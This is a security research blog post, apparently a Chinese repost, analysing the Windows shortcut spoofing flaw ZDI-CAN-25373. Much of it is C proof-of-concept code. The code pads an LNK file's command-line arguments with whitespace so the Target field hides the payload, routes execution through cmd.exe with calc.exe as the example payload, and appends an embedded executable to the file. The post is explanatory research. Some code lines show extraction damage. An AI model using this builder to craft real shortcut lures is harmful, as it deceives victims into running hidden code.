概述
我偶然看到了趋势科技的文章《ZDI-CAN-25373:Windows 快捷方式漏洞在广泛的 APT 活动中被滥用为零日漏洞》。TL;DR 以下是他们的摘要:
- Trend Zero Day Initiative™ (ZDI) identified nearly 1,000 malicious .lnk files abusing ZDI-CAN-25373, a vulnerability that allows attackers to execute hidden malicious commands on a victim’s machine by leveraging crafted shortcut files.
- The attacks leverage hidden command line arguments within .lnk files toexecute malicious payloads, complicating detection. The exploitation of ZDI-CAN-25373 exposes organizations to significant risks ofdata theft and cyber espionage.
- The vulnerability has been exploited by state-sponsored APT groupsfrom North Korea, Iran, Russia, and China. Organizations across the government, financial, telecommunications, military, and energy sectors have been affected in North America, Europe, Asia, South America, and Australia.
- Organizations should immediately scanand ensure security mitigations for ZDI-CAN-25373, maintain vigilance against suspicious .lnk files, and ensure comprehensive endpoint and network protectionmeasuresarein place to detect and respond to this threat. Trend Micro customers are protected from possible attempts to exploit the vulnerability via rulesand filters that were released in October 2024and January 2025.
在他们的博客文章中,他们似乎在技术细节部分提到 LNK 被滥用于 Windows 通过 Windows 用户界面显示快捷方式 (.LNK) 文件内容的方式。同样的东西,不同的是,它是一个发送给受害者的 LNK 文件,诱使受害者打开并运行 LNK,并执行嵌入在 LNK 文件中的有效载荷。LNK 允许您修改图标,您可以从中找到图标shell32.dll(有许多工具可以帮助提取它)。
关于这个就说得够多了,让我们关注这里提到的问题。据趋势科技称,威胁行为者滥用命令行参数(链接到 LinkFlags 结构,结构中的第 6 个成员),其值HasArgument已启用并将其嵌入到 LNK 文件Target字段中。在他们的帖子中,他们还提到了LinkTargetIDList结构。该结构包含targetLNK 文件的,当使用此结构时,HasLinkTargetIDList标志将设置为1。LinkFlags他们还提到了填充字节,特别是在 中嵌入的空格字符上COMMAND_LINE_ARGUMENTS。是一个可选结构,用于存储激活链接目标时指定的命令行参数。如果在 中将 标志设置为 ,COMMAND_LINE_ARGUMENTS则必须存在此结构 。HasArguments1LinkFlags
这种技术并不新鲜,我确实发现有几位研究人员在博客上发布了有关此内容的文章:
-
《权力的游戏》成为僵尸网络的门户 - 2019 年
https://foosecn00b.com/2019/07/game-of-thrones-as-a-gateway-to-a-botnet/
-
EmbedExeLnk - 将 EXE 嵌入到 LNK 中并自动执行 - 2022
https://archive.is/yjQJm
@foosecn00b 提到了他的朋友 (LOL) 分享的一个盗版东西,它是一个多 GB 的 LNK 文件,显示了奇怪的属性,Target看上去像是伪造的,没有任何内容。
@x86matthew 提到他已经在野外看到了各种恶意的 LNK 文件,并且他创建了一个概念验证(非常好并且很棒),允许创建一个 LNK 文件并将 LNK 内的可执行(EXE)文件附加到文件末尾。
因此从技术上讲,在所有这些博客文章中,这里的主要亮点是TargetWindows UI 中的字段。如果您查看属性,该Target字段似乎被欺骗了。我不会说这是一个安全问题,因为这可能是预期的功能。但我猜微软可能会解决这个问题。
制定概念验证
我们知道,无论是在软件应用程序还是基于 Web 上,空白字符都是进行逃避和绕过的主要有效载荷之一。
| Code | Hex | Name |
| ---- | --- | ------------------- |
| 9 | 09 | Horizontal Tab |
| 10 | 0A | Line Feed |
| 11 | 0B | Vertical Tabulation |
| 12 | 0C | Form Feed |
| 13 | 0D | Carriage Return |
| 32 |20 | Space |
微软已在其门户中记录了 Shell Link (.LNK) 二进制文件格式,遵循其指南来制作概念验证非常容易。Shell Link 二进制文件格式由几个结构组成:
任何(二进制)文件格式总是以标头开头,就像一个神奇的字节,它应该用来启动任何相关的应用程序,操作系统或软件应用程序将解析该文件,并在继续执行文件格式的其余部分之前查看标头。
Shell Link 二进制文件格式以ShellLinkHeader结构开头。结构包含标识信息、时间戳和指定选项结构存在的标志,包括:
-
链接目标ID列表
-
友情链接
-
字符串数据
结构如下ShellLinkHeader:
typedefstruct _ShellLinkHeader {
DWORD HeaderSize; // Must be 0x0000004C
GUID LinkCLSID; // Must be 00021401-0000-0000-C000-000000000046
DWORD LinkFlags; // Specifies presence of optional parts and properties
DWORD FileAttributes; // Specifies file attributes of the target
FILETIME CreationTime; // Creation time of the target file
FILETIME AccessTime; // Last access time of the target file
FILETIME WriteTime; // Last modification time of the target file
DWORD FileSize; // Size of the target file in bytes
DWORD IconIndex; // Index of an icon within a given icon location
DWORD ShowCommand; // Expected window state (SW_SHOWNORMAL=1, SW_SHOWMAXIMIZED=3, etc.)
WORD HotKey; // Keystrokes used to launch the application
WORD Reserved1; // Must be zero
DWORD Reserved2; // Must be zero
DWORD Reserved3; // Must be zero
} SHELL_LINK_HEADER, * PSHELL_LINK_HEADER;
查看结构,我们知道某些结构成员具有精确的值大小,例如HeaderSize大小为 76 字节,并且LinkCLSID值必须始终为00021401-0000-0000-C000-000000000046。如果我们查看下面的示例,标题以 开头4C 00,如果您注意到01 14 02字节是 Link CLSID 的小端字节。结构中还有LinkFlags指定有关 Shell Link 信息的结构。这是真正有用的结构之一,我们可以随意摆弄和操作,以便伪造一些前面提到的信息。FileAttributesFlags如果目标是文件系统项,则结构定义指定链接目标的文件属性的位。
因此,要构建 Shell Link Header,我们需要相应地创建文件,然后一旦创建了此句柄,我们就需要初始化ShellLinkHeader结构。由于我们这里有一个适当的结构,我们可以简单地访问结构成员列表并相应地设置为我们的首选项。首先,我们必须将设置HeaderSize为0x0000004C,然后设置,LinkCLSID以便我们的文件正确设置为 Shell Link 的类标识符。
SHELL_LINK_HEADER header = { 0 };
header.HeaderSize = 0x0000004C;
header.LinkCLSID.Data1 = 0x00021401;
header.LinkCLSID.Data2 = 0x0000;
header.LinkCLSID.Data3 = 0x0000;
header.LinkCLSID.Data4[0] = 0xC0;
header.LinkCLSID.Data4[1] = 0x00;
header.LinkCLSID.Data4[2] = 0x00;
header.LinkCLSID.Data4[3] = 0x00;
header.LinkCLSID.Data4[4] = 0x00;
header.LinkCLSID.Data4[5] = 0x00;
header.LinkCLSID.Data4[6] = 0x00;
header.LinkCLSID.Data4[7] = 0x46;
现在我们进入重要的部分,我们的代码必须启用所有这些LinkFlags才能执行我们的有效载荷。在这里我没有创建结构,而是只定义了 的每个成员LinkFlags。
#define HAS_LINK_TARGET_IDLIST 0x00000001
#define HAS_LINK_INFO 0x00000002
#define HAS_NAME 0x00000004
#define HAS_RELATIVE_PATH 0x00000008
#define HAS_WORKING_DIR 0x00000010
#define HAS_ARGUMENTS 0x00000020
#define HAS_ICON_LOCATION 0x00000040
#define IS_UNICODE 0x00000080
#define FORCE_NO_LINKINFO 0x00000100
#define HAS_EXP_STRING 0x00000200
#define RUN_IN_SEPARATE_PROCESS 0x00000400
#define HAS_LOGO3ID 0x00000800
#define HAS_DARWIN_ID 0x00001000
#define RUN_AS_USER 0x00002000
#define HAS_EXP_ICON 0x00004000
#define NO_PIDL_ALIAS 0x00008000
#define FORCE_USHORTCUT 0x00010000
#define RUN_WITH_SHIMLAYER 0x00020000
#define FORCE_NO_LINKTRACK 0x00040000
#define ENABLE_TARGET_METADATA 0x00080000
#define DISABLE_LINK_PATH_TRACKING 0x00100000
#define DISABLE_KNOWNFOLDER_TRACKING 0x00200000
#define DISABLE_KNOWNFOLDER_ALIAS 0x00400000
#define ALLOW_LINK_TO_LINK 0x00800000
#define UNALIAS_ON_SAVE 0x01000000
#define PREFER_ENVIRONMENT_PATH 0x02000000
#define KEEP_LOCAL_IDLIST_FOR_UNC 0x04000000
以下是我使用过并启用的每个成员的快速摘要LinkFlags:
有名称
-
外壳链接使用名称字符串保存。我使用,以便在 LNK 文件的 Windows UI 属性中显示Comment字段中的值。
有参数
-
shell 链接与命令行参数一起保存。我们将在这里填充空格字符以及我们的有效载荷。我们稍后会研究这一点。
有图标位置
-
shell 链接与图标位置字符串一起保存。如果您希望在 LNK 中包含图标,则应启用此功能。
是UNICODE
-
shell 链接包含 Unicode 编码字符串。应设置此位。如果设置了此位,则该StringData部分包含 Unicode 编码字符串;否则,它包含使用系统默认代码页编码的字符串。
有 EXP_STRING
-
外壳链接以 保存EnvironmentVariableDataBlock。
然后我们可以设置FileAttributes。这并不重要,我用 和 测试过0x00000000,应该可以工作。哦,如果你想添加时间戳,你可以使用GetSystemTime来检索你电脑中的本地时间并设置CreateTime、AccessTime和WriteTime。
最后但并非最不重要的一点是,您可以根据需要设置ShowCommand。您可以浏览 Microsoft 门户上的ShowWindow功能并使用的值nCmdShow。
header.LinkFlags = HAS_NAME |
HAS_ARGUMENTS |
HAS_ICON_LOCATION |
IS_UNICODE |
HAS_EXP_STRING;
header.FileAttributes = FILE_ATTRIBUTE_NORMAL;
SYSTEMTIME st;
GetSystemTime(&st);
SystemTimeToFileTime(&st, &header.CreationTime);
SystemTimeToFileTime(&st, &header.AccessTime);
SystemTimeToFileTime(&st, &header.WriteTime);
header.FileSize = 0;
header.IconIndex = 0;
header.ShowCommand = SW_SHOWNORMAL;
header.HotKey = 0;
header.Reserved1 = 0;
header.Reserved2 = 0;
header.Reserved3 = 0;
if (!WriteFile(hFile, &header, sizeof(SHELL_LINK_HEADER), &bytesWritten, NULL)) {
printf("Failed to write header: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
const char* description = "testing purpose";
WORD descLen = (WORD)strlen(description);
if (!WriteFile(hFile, &descLen, sizeof(WORD), &bytesWritten, NULL)) {
printf("Failed to write description length: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
int wideBufSize = MultiByteToWideChar(CP_ACP, 0, description, -1, NULL, 0);
WCHAR* wideDesc = (WCHAR*)malloc(wideBufSize * sizeof(WCHAR));
if (!wideDesc) {
printf("Memory allocation failedn");
CloseHandle(hFile);
return1;
}
MultiByteToWideChar(CP_ACP, 0, description, -1, wideDesc, wideBufSize);
if (!WriteFile(hFile, wideDesc, descLen * sizeof(WCHAR), &bytesWritten, NULL)) {
printf("Failed to write description: %lun", GetLastError());
free(wideDesc);
CloseHandle(hFile);
return1;
}
free(wideDesc);
现在是填充时间。COMMAND_LINE_ARGUMENTS是一个可选结构,用于存储激活链接目标时指定的命令行参数(我再重复一遍!)。由于我们已HasArguments在 中启用标志LinkFlags,我们可以通过填充 900 字节的空白字符(0x20,空格)来编写一个简单的填充。然后我们复制填充并将我们的有效载荷变量添加calcCmd到 中cmdLineBuffer + fillBytes。在这种情况下,我没有看到填充大小的任何问题(至少在我的测试中),您可以放入所需的任意数量的填充字节。它只会增加 LNK 的大小
const char* calcCmd = "/c C:\Windows\System32\calc.exe";
char cmdLineBuffer[1024] = { 0 };
int cmdLen = strlen(calcCmd);
int fillBytes = 900 - cmdLen;
memset(cmdLineBuffer, 0x20, fillBytes);
strcpy(cmdLineBuffer + fillBytes, calcCmd);
cmdLineBuffer[900] = ' ';
WORD cmdArgLen = (WORD)strlen(cmdLineBuffer);
if (!WriteFile(hFile, &cmdArgLen, sizeof(WORD), &bytesWritten, NULL)) {
printf("Failed to write cmd length: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
int wideCmdBufSize = MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1, NULL, 0);
WCHAR* wideCmd = (WCHAR*)malloc(wideCmdBufSize * sizeof(WCHAR));
if (!wideCmd) {
printf("Memory allocation failedn");
CloseHandle(hFile);
return1;
}
MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1, wideCmd, wideCmdBufSize);
if (!WriteFile(hFile, wideCmd, cmdArgLen * sizeof(WCHAR), &bytesWritten, NULL)) {
printf("Failed to write cmd: %lun", GetLastError());
free(wideCmd);
CloseHandle(hFile);
return1;
}
free(wideCmd);
结果如下例所示:
然后我们根据您指定的路径创建图标。
const char* iconPath = "path\to\your\icon";
WORD iconLen = (WORD)strlen(iconPath);
if (!WriteFile(hFile, &iconLen, sizeof(WORD), &bytesWritten, NULL)) {
printf("Failed to write icon length: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
int wideIconBufSize = MultiByteToWideChar(CP_ACP, 0, iconPath, -1, NULL, 0);
WCHAR* wideIcon = (WCHAR*)malloc(wideIconBufSize * sizeof(WCHAR));
if (!wideIcon) {
printf("Memory allocation failedn");
CloseHandle(hFile);
return1;
}
MultiByteToWideChar(CP_ACP, 0, iconPath, -1, wideIcon, wideIconBufSize);
if (!WriteFile(hFile, wideIcon, iconLen * sizeof(WCHAR), &bytesWritten, NULL)) {
printf("Failed to write icon path: %lun", GetLastError());
free(wideIcon);
CloseHandle(hFile);
return1;
}
free(wideIcon);
现在,另一个重要的部分将帮助我们的有效载荷得到执行。我们已启用标志HAS_EXP_STRING,该标志与结构相关Environment Variable Data Block。EnvironmentVariableDataBlock当链接目标引用具有相应环境变量的位置时,该结构指定环境变量信息的路径(根据 Microsoft 文档)。
但在此之前,我们需要了解 是结构成员EnvironmentVariableDataBlock的一部分ExtraData。ExtraData指的是一组传达有关链接目标的附加信息的结构。 这些可选结构可以存在于附加到基本 Shell 链接二进制文件格式的额外数据部分中。
EnvironmentVariableDataBlock看起来很敏感,您必须将设置BlockSize为 788 字节(0x00000314),并且我们必须设置签名,EnvironmentVariableDataBlock即0xA0000001。设置后,我们可以将缓冲区大小分配TargetAnsi为 260 字节和TargetUnicode520 字节。这是我们envPath稍后在执行 LNK 并调用 中的其余参数时将调用的地方COMMAND_LINE_ARGUMENTS。哦,我忘了说我们IsUnicode在 中启用了标志LinkFlags,这意味着我们的参数是使用 Unicode 调用和执行的。
constchar* envPath = "%windir%\system32\cmd.exe";
DWORD envBlockSize = 0x00000314;
DWORD envSignature = ENVIRONMENTAL_VARIABLES_DATABLOCK_SIGNATURE;
if (!WriteFile(hFile, &envBlockSize, sizeof(DWORD), &bytesWritten, NULL)) {
printf("Failed to write env block size: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
if (!WriteFile(hFile, &envSignature, sizeof(DWORD), &bytesWritten, NULL)) {
printf("Failed to write env block signature: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
char ansiBuffer[260] = { 0 };
strncpy(ansiBuffer, envPath, 259);
if (!WriteFile(hFile, ansiBuffer, 260, &bytesWritten, NULL)) {
printf("Failed to write TargetAnsi: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
WCHAR unicodeBuffer[260] = { 0 };
if (MultiByteToWideChar(CP_ACP, 0, envPath, -1, unicodeBuffer, 260) == 0) {
printf("Failed to convert to Unicode: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
if (!WriteFile(hFile, unicodeBuffer, 520, &bytesWritten, NULL)) {
printf("Failed to write TargetUnicode: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
例子:
我宁愿说这个问题是一种欺骗,你可以操纵 Shell Link 来调用cmd.exe并EnvironmentVariableDataBlock执行其参数,COMMAND_LINE_ARGUMENTS使用额外的空格字符填充字节,并在其上连接实际的有效负载。所以我们实际上Target从 Windows UI 看到了现场被欺骗的东西。为这些令人困惑的词语道歉 LOL。
当然,你可以在 LNK 文件的末尾嵌入一个可执行文件,并且可以修改它COMMAND_LINE_ARGUMENTS来执行你的有效负载(PowerShell FTW!)。以下是你可以用来在 LNK 文件中嵌入可执行文件的示例代码:
printf("Reading calc.exe from %sn", pExePath);
for (;;)
{
if (ReadFile(hExe, exeBuffer, sizeof(exeBuffer), &exeFileSize, NULL))
{
printf("Successfully read calc.exe: %lu bytesn", exeFileSize);
if (exeFileSize == 0)
{
break;
}
if (!WriteFile(hFile, exeBuffer, exeFileSize, &bytesWritten, NULL)) {
printf("Failed to write embedded exe data: %lun", GetLastError());
free(exeBuffer);
CloseHandle(hFile);
return1;
}
printf("Successfully embedded calc.exe in LNK file: %lu bytes writtenn", bytesWritten);
free(exeBuffer);
}
else {
printf("Failed to read calc.exe, continuing without embeddingn");
}
}
我想现在就这些了。欢迎提出异议,我的分析可能有误。
签名,@zeifan
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):Windows LNK - 分析与概念验证 - 安全研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论